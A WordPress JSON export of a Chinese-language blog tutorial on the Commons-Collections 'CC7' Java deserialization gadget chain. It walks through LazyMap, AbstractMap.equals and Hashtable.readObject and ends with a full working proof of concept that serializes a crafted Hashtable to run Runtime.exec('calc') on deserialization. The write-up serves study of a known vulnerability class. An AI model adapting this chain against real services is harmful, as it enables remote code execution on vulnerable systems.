{"id":220,"date":"2026-03-27T00:00:18","date_gmt":"2026-03-26T16:00:18","guid":{"rendered":"https:\/\/arknight.wiki\/?p=220"},"modified":"2026-03-27T00:00:19","modified_gmt":"2026-03-26T16:00:19","slug":"cc7","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/27\/cc7\/","title":{"rendered":"CC7"},"content":{"rendered":"<h1>CC7:<\/h1>\n<p>\u8fd9\u4e2a\u5c31\u662f\u6539\u4e86\u4e00\u4e0b\u89e6\u53d1<code>transform()<\/code>\u7684<\/p>\n<h3>\u7248\u672c\u8981\u6c42\uff1a<\/h3>\n<p>JDK &lt; 8u121<\/p>\n<p>Commons-Collections \u2264 3.2.1<\/p>\n<h3>LazyMap\u7c7b\uff1a<\/h3>\n<p>\u8fd8\u662f\u4ece<code>get()<\/code>\u65b9\u6cd5\u89e6\u53d1<code>transform()<\/code>\u65b9\u6cd5\u5165\u624b\uff1a<\/p>\n<pre><code>    public Object get(Object key) {\n        \/\/ create value for key if key is not currently in the map\n        if (map.containsKey(key) == false) {\n            Object value = factory.transform(key);\n            map.put(key, value);\n            return value;\n        }\n        return map.get(key);\n    }<\/code><\/pre>\n<h3>AbstractMap\u7c7b\uff1a<\/h3>\n<p>\u8fd9\u4e2a\u7c7b\u7684<code>equals()<\/code>\u65b9\u6cd5\u53ef\u4ee5\u89e6\u53d1<code>get()<\/code>\u65b9\u6cd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/9e7eda30-564f-4135-802b-8bd099dbf871.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-221\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/9e7eda30-564f-4135-802b-8bd099dbf871.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1633\" height=\"1106\"  sizes=\"auto, (max-width: 1633px) 100vw, 1633px\" \/><\/div><\/p>\n<pre><code>    public boolean equals(Object o) {\n        if (o == this)\n            return true;\n\n        if (!(o instanceof Map))\n            return false;\n        Map&lt;?,?&gt; m = (Map&lt;?,?&gt;) o;\n        if (m.size() != size())\n            return false;\n\n        try {\n            Iterator&lt;Entry&lt;K,V&gt;&gt; i = entrySet().iterator();\n            while (i.hasNext()) {\n                Entry&lt;K,V&gt; e = i.next();\n                K key = e.getKey();\n                V value = e.getValue();\n                if (value == null) {\n                    if (!(m.get(key)==null &amp;&amp; m.containsKey(key)))\n                        return false;\n                } else {\n                    if (!value.equals(m.get(key)))\n                        return false;\n                }\n            }\n        } catch (ClassCastException unused) {\n            return false;\n        } catch (NullPointerException unused) {\n            return false;\n        }\n\n        return true;\n    }<\/code><\/pre>\n<p>\u8fd9\u91cc\u8bb2\u4e00\u4e0b\u4e3a\u4ec0\u4e48\u6ca1\u6709\u663e\u793a\u5b9e\u4f8b\u5316<code>AbstractMap<\/code>\u4e5f\u80fd\u8c03\u7528\u5b83\u7684<code>equals()<\/code>\u65b9\u6cd5\uff1a<\/p>\n<p>\u6211\u4eec\u5148\u5b9e\u4f8b\u5316\u4e00\u4e2a<code>HashMap<\/code>\u7c7b\uff0c\u518d\u7528<code>LazyMap<\/code>\u7684<code>decorate()<\/code>\u65b9\u6cd5\u4fee\u9970\uff0c\u8fd9\u4e2a\u65f6\u5019<code>reconstitutionPut()<\/code>\u65b9\u6cd5\u8c03\u7528<code>equals()<\/code>\u65b9\u6cd5\u65f6\u4f1a\u5148\u5728<code>LazyMap<\/code>\u7c7b\u91cc\u9762\u627e\uff0c\u627e\u4e0d\u5230\u4f1a\u53bb<code>HashMap<\/code>\u91cc\u9762\u627e\uff0c\u4e4b\u540e\u8981\u662f\u8fd8\u627e\u4e0d\u5230\u5c31\u4f1a\u5411<code>HashMap<\/code>\u7684\u7236\u7c7b\u91cc\u9762\u627e\u8fd9\u4e2a\u65b9\u6cd5\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/a0f3f15d-0248-42e6-bc8d-cec30e44c293.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-222\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/a0f3f15d-0248-42e6-bc8d-cec30e44c293.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1485\" height=\"117\"  sizes=\"auto, (max-width: 1485px) 100vw, 1485px\" \/><\/div><\/p>\n<p>\u7136\u540e\u6211\u4eec\u53ef\u4ee5\u770b\u5230\uff0c<code>HashMap<\/code>\u7684\u7236\u7c7b\u5c31\u662f<code>AbstractMap<\/code>\u7c7b\uff0c\u81ea\u7136\u5c31\u4f1a\u8c03\u7528\u5b83\u7684<code>equals()<\/code>\u65b9\u6cd5\u4e86\u3002<\/p>\n<h3>Hashtable\u7c7b\uff1a<\/h3>\n<p>\u6211\u4eec\u770b\u5b83\u7684<code>reconstitutionPut()<\/code>\u65b9\u6cd5:<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/fb439579-631b-4883-af1c-a9574c0af042.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-223\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/fb439579-631b-4883-af1c-a9574c0af042.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1649\" height=\"751\"  sizes=\"auto, (max-width: 1649px) 100vw, 1649px\" \/><\/div><\/p>\n<pre><code>    private void reconstitutionPut(Entry&lt;?,?&gt;[] tab, K key, V value)\n        throws StreamCorruptedException\n    {\n        if (value == null) {\n            throw new java.io.StreamCorruptedException();\n        }\n        \/\/ Makes sure the key is not already in the hashtable.\n        \/\/ This should not happen in deserialized version.\n        int hash = key.hashCode();\n        int index = (hash &amp; 0x7FFFFFFF) % tab.length;\n        for (Entry&lt;?,?&gt; e = tab[index] ; e != null ; e = e.next) {\n            if ((e.hash == hash) &amp;&amp; e.key.equals(key)) {\n                throw new java.io.StreamCorruptedException();\n            }\n        }\n        \/\/ Creates the new entry.\n        @SuppressWarnings(\"unchecked\")\n            Entry&lt;K,V&gt; e = (Entry&lt;K,V&gt;)tab[index];\n        tab[index] = new Entry&lt;&gt;(hash, key, value, e);\n        count++;\n    }<\/code><\/pre>\n<p>\u8fd9\u91cc\u4f1a\u89e6\u53d1<code>equals()<\/code>\u65b9\u6cd5\u3002<\/p>\n<p>\u518d\u770b\u8fd9\u4e2a\u7c7b\u7684<code>readObject()<\/code>\u65b9\u6cd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/9b1e519a-1809-4967-85ca-db910e30c654.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-224\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/9b1e519a-1809-4967-85ca-db910e30c654.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1629\" height=\"1125\"  sizes=\"auto, (max-width: 1629px) 100vw, 1629px\" \/><\/div><\/p>\n<pre><code>    private void readObject(java.io.ObjectInputStream s)\n         throws IOException, ClassNotFoundException\n    {\n        \/\/ Read in the length, threshold, and loadfactor\n        s.defaultReadObject();\n\n        \/\/ Read the original length of the array and number of elements\n        int origlength = s.readInt();\n        int elements = s.readInt();\n\n        \/\/ Compute new size with a bit of room 5% to grow but\n        \/\/ no larger than the original size.  Make the length\n        \/\/ odd if it's large enough, this helps distribute the entries.\n        \/\/ Guard against the length ending up zero, that's not valid.\n        int length = (int)(elements * loadFactor) + (elements \/ 20) + 3;\n        if (length &gt; elements &amp;&amp; (length &amp; 1) == 0)\n            length--;\n        if (origlength &gt; 0 &amp;&amp; length &gt; origlength)\n            length = origlength;\n        table = new Entry&lt;?,?&gt;[length];\n        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);\n        count = 0;\n\n        \/\/ Read the number of elements and then all the key\/value objects\n        for (; elements &gt; 0; elements--) {\n            @SuppressWarnings(\"unchecked\")\n                K key = (K)s.readObject();\n            @SuppressWarnings(\"unchecked\")\n                V value = (V)s.readObject();\n            \/\/ synch could be eliminated for performance\n            reconstitutionPut(table, key, value);\n        }\n    }<\/code><\/pre>\n<p>\u8fd9\u91cc\u4f1a\u89e6\u53d1\u6211\u4eec\u4e0a\u9762\u7684<code>reconstitutionPut()<\/code>\u65b9\u6cd5\uff0c\u540c\u65f6\u4e5f\u662f\u6211\u4eec\u53cd\u5e8f\u5217\u5316\u94fe\u7684\u51fa\u53e3\u3002<\/p>\n<p>\u5230\u8fd9\u91cc\u6211\u4eec\u7684\u94fe\u5b50\u5927\u4f53\u5c31\u6784\u9020\u5b8c\u4e86\u3002\u4e0b\u9762\u5c31\u662f\u4e00\u4e9b\u7ec6\u8282\u5904\u7406<\/p>\n<h3>\u7ec6\u8282\u8c03\u6574\uff1a<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/8bd7b215-e5c3-422b-81e6-fb1587d5495a.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-225\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/8bd7b215-e5c3-422b-81e6-fb1587d5495a.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1632\" height=\"339\"  sizes=\"auto, (max-width: 1632px) 100vw, 1632px\" \/><\/div><\/p>\n<p>\u6211\u4eec\u5148\u770b<code>equals()<\/code>\u65b9\u6cd5\uff0c\u8fd9\u91cc\u4f20\u8fdb\u6765\u7684\u53c2\u6570\u5fc5\u987b\u8981\u4e09\u4e2a\u6761\u4ef6\u90fd\u4e0d\u6ee1\u8db3\uff0c\u4e0d\u8ba9\u5b83\u63d0\u524d\u8fd4\u56de\uff0c\u5373\uff1a<\/p>\n<ul>\n<li>\u4e0d\u662f\u5f53\u524d\u5bf9\u8c61<\/li>\n<li>\u662f<code>Map<\/code>\u5bf9\u8c61<\/li>\n<li>\u8ddf\u73b0\u5728\u6267\u884c<code>equals<\/code>\u65b9\u6cd5\u7684<code>Map<\/code>\u7684\u5143\u7d20\u4e2a\u6570\u4e00\u6837<\/li>\n<\/ul>\n<p>\u7136\u540e\u518d\u5f80\u4e0b\u770b<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/ea79fa5a-c561-47a4-a702-f62adb307aaa.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-226\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/ea79fa5a-c561-47a4-a702-f62adb307aaa.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1471\" height=\"763\"  sizes=\"auto, (max-width: 1471px) 100vw, 1471px\" \/><\/div><\/p>\n<p>\u8fd9\u91cc<code>reconstitutionPut()<\/code>\u65b9\u6cd5\u8981<code>value<\/code>\u503c\u4e0d\u4e3a\u7a7a\uff0c\u4e14<code>key<\/code>\u7684<code>hash<\/code>\u76f8\u540c\u3002\u4e5f\u5c31\u662f\u8bf4\u5728Hashtable\u4e2d\u7684\u5143\u7d20\u81f3\u5c11\u4e3a2\u4e2a\u5e76\u4e14\u5143\u7d20\u7684hash\u503c\u4e5f\u5fc5\u987b\u76f8\u540c\u7684\u60c5\u51b5\u4e0b\u624d\u4f1a\u8c03\u7528equals\u65b9\u6cd5\u3002\u4e0b\u9762\u7ed9\u4e00\u7ec4<code>Hash<\/code>\u76f8\u540c\u7684\u503c\uff08\u4ece\u5176\u4ed6\u5e08\u5085\u90a3\u91cc\u5077\u7684\u7406\u89e3\uff09\uff1a<\/p>\n<pre><code>yy\u4e0ezZ\nEa\u4e0eFB<\/code><\/pre>\n<p>\u8fd9\u4e24\u4e2a\u5143\u7d20\u9700\u8981\u7528<code>put()<\/code>\u65b9\u6cd5\u4f20\u5165\uff0c\u4e0d\u8fc7\u8fd9\u91cc\u53c8\u6709\u95ee\u9898<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/b39e2d93-afd9-4e7d-b1e6-7f6e039b9534.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-227\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/b39e2d93-afd9-4e7d-b1e6-7f6e039b9534.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1700\" height=\"927\"  sizes=\"auto, (max-width: 1700px) 100vw, 1700px\" \/><\/div><\/p>\n<p>\u7b2c\u4e8c\u4e2a\u4f20\u5165\u7684<code>Map<\/code>\u8c03\u7528\u8fd9\u4e2a<code>put()<\/code>\u65b9\u6cd5\u65f6\u7531\u4e8e\u8ddf\u524d\u4e00\u4e2a\u8c03\u7528<code>put()<\/code>\u7684<code>Map<\/code>\u7684<code>Hash<\/code>\u4e00\u6837\uff08\u6211\u4eec\u5c31\u662f\u8fd9\u4e48\u6784\u9020\u7684\uff09\uff0c\u4f1a\u63d0\u524d\u8c03\u7528<code>equals()<\/code>\u65b9\u6cd5\uff0c\u4f1a\u63d0\u524d\u628a\u7a0b\u5e8f\u8dd1\u5b8c\uff0c\u6240\u4ee5\u9700\u8981\u628a<code>transform()<\/code>\u90a3\u91cc\u5148\u4f20\u5165\u4e00\u4e2a\u5176\u4ed6\u503c\u6700\u540e\u518d\u53cd\u5c04\u6539\u56de\u6765\uff0c\u7528\u4e86\u5f88\u591a\u6b21\u8fd9\u4e2a\u65b9\u6cd5\u4e86\u3002\u8fd9\u91cc\u8fd8\u6709\u4e00\u4e2a\u9700\u8981\u6ce8\u610f\u7684\u5730\u65b9\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/cba0dc05-249c-49de-8b0a-918e36ecdab8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-228\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/cba0dc05-249c-49de-8b0a-918e36ecdab8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1655\" height=\"384\"  sizes=\"auto, (max-width: 1655px) 100vw, 1655px\" \/><\/div><\/p>\n<p><code>LazyMap<\/code>\u7c7b\u7684<code>get()<\/code>\u65b9\u6cd5\u4f1a<code>put<\/code>\u8fdb\u65b0\u7684\u503c\uff0c\u5bfc\u81f4\u7b2c\u4e8c\u4e2a<code>Map<\/code>\u7684\u503c\u7684\u6570\u91cf\u8ddf\u7b2c\u4e00\u4e2a\u4e0d\u540c\uff0c\u5bfc\u81f4\u540e\u9762\u518d\u8c03\u7528<code>equals()<\/code>\u65b9\u6cd5\u65f6\u65e0\u6cd5\u901a\u8fc7\u7b2c\u4e09\u4e2a<code>if<\/code>\uff0c\u5373\u503c\u7684\u6570\u91cf\u4e0d\u76f8\u540c\u3002\u6240\u4ee5\u540e\u9762\u8981\u624b\u52a8\u7528<code>remove()<\/code>\u79fb\u9664<\/p>\n<h3>POC:<\/h3>\n<pre><code>package SerializeChains.CCchains.CC7;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\nimport org.apache.commons.collections.functors.ChainedTransformer;\n\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.AbstractMap;\nimport java.util.HashMap;\nimport java.util.Hashtable;\nimport java.util.Map;\n\npublic class CC7 {\n    public static void main(String[] args) throws Exception {\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\",new Class[]{String.class,Class[].class},new Object[]{\"getRuntime\",null}),\n                new InvokerTransformer(\"invoke\",new Class[]{Object.class,Object[].class},new Object[]{null,null}),\n                new InvokerTransformer(\"exec\",new Class[]{String.class},new Object[]{\"calc\"})\n        };\n        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});\n\n        \/\/CC7\u94fe\u7684\u5f00\u59cb\n        \/\/\u4f7f\u7528Hashtable\u6765\u6784\u9020\u5229\u7528\u94fe\u8c03\u7528LazyMap\n        Map hashMap1 = new HashMap();\n        Map hashMap2 = new HashMap();\n        Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);\n        lazyMap1.put(\"yy\", 1);\n        Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);\n        lazyMap2.put(\"zZ\", 1);\n\n        Hashtable hashtable = new Hashtable();\n        hashtable.put(lazyMap1, 1);\n        hashtable.put(lazyMap2, 1);\n\n        \/\/\u8f93\u51fa\u4e24\u4e2a\u5143\u7d20\u7684hash\u503c\n        System.out.println(\"lazyMap1 hashcode:\" + lazyMap1.hashCode());\n        System.out.println(\"lazyMap2 hashcode:\" + lazyMap2.hashCode());\n\n        \/\/iTransformers = transformers\uff08\u53cd\u5c04\uff09\n        Field iTransformers = ChainedTransformer.class.getDeclaredField(\"iTransformers\");\n        iTransformers.setAccessible(true);\n        iTransformers.set(transformerChain, transformers);\n\n        lazyMap2.remove(\"yy\");\n        serialize(hashtable);\n        unserialize(\"CC7.txt\");\n    }\n    \/\/\u5b9a\u4e49\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void serialize(Object object) throws Exception{\n        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"CC7.txt\"));\n        oos.writeObject(object);\n        oos.close();\n    }\n\n    \/\/\u5b9a\u4e49\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void unserialize(String filename) throws Exception{\n        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));\n        ois.readObject();\n    }\n}\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>CC7: \u8fd9\u4e2a\u5c31\u662f\u6539\u4e86\u4e00\u4e0b\u89e6\u53d1transform()\u7684 \u7248\u672c\u8981\u6c42\uff1a JDK &lt; 8u121 Common [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,3],"tags":[],"class_list":["post-220","post","type-post","status-publish","format-standard","hentry","category-java","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/220","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=220"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/220\/revisions"}],"predecessor-version":[{"id":229,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/220\/revisions\/229"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=220"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=220"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=220"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}